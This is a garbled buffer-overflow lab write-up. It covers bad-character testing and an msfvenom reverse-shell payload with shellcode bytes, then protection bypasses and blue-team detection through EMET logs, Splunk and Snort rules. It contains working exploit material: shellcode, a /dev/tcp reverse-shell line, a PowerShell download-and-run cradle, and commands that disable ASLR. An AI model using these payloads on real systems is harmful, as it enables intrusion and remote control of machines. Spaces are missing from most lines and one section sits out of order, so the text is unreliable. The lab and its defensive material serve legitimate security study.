2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

